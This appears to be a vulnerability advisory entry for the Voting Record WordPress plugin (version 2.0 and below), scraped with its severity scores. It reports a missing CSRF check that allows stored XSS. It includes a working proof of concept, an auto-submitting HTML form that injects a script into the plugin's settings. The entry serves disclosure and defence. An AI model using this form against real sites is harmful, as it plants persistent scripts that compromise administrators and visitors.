Lucene search

K
wpexploitDaniel RufWPEX-ID:BA77704A-32A1-494B-B2C0-E1C2A3F98ADC
HistoryJan 10, 2024 - 12:00 a.m.

Voting Record <= 2.0 - Settings Update to Stored XSS via CSRF

2024-01-1000:00:00
Daniel Ruf
31
stored xss
csrf
admin
html
form
injection

5.7 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

14.1%

Description The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Have an admin open an HTML page containing the following:

```
<form action="https://example.com/wp-admin/options-general.php?page=voting-record%2Fvoting-record.php" method="POST">
<input type="text" name="primary_voter" value='"><script>alert(1)</script>'>
    <input type="text" name="limit" value="">
    <input type="text" name="type" value="votes">
    <input type="text" name="extension" value="">
    <input type="text" name="open_recent" value="">
    <input type="text" name="close_recent" value="">
    <input type="text" name="recent_template" value="">
    <input type="text" name="no_recent" value="">
    <input type="text" name="open_search" value="">
    <input type="text" name="close_search" value="">
    <input type="text" name="search_template" value="">
    <input type="text" name="no_search" value="">
    <input type="text" name="update_options" value="Update">
</form>
<script>
    document.forms[0].submit();
</script>
```

You will see the pop-up showing the XSS.

5.7 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

14.1%

Related for WPEX-ID:BA77704A-32A1-494B-B2C0-E1C2A3F98ADC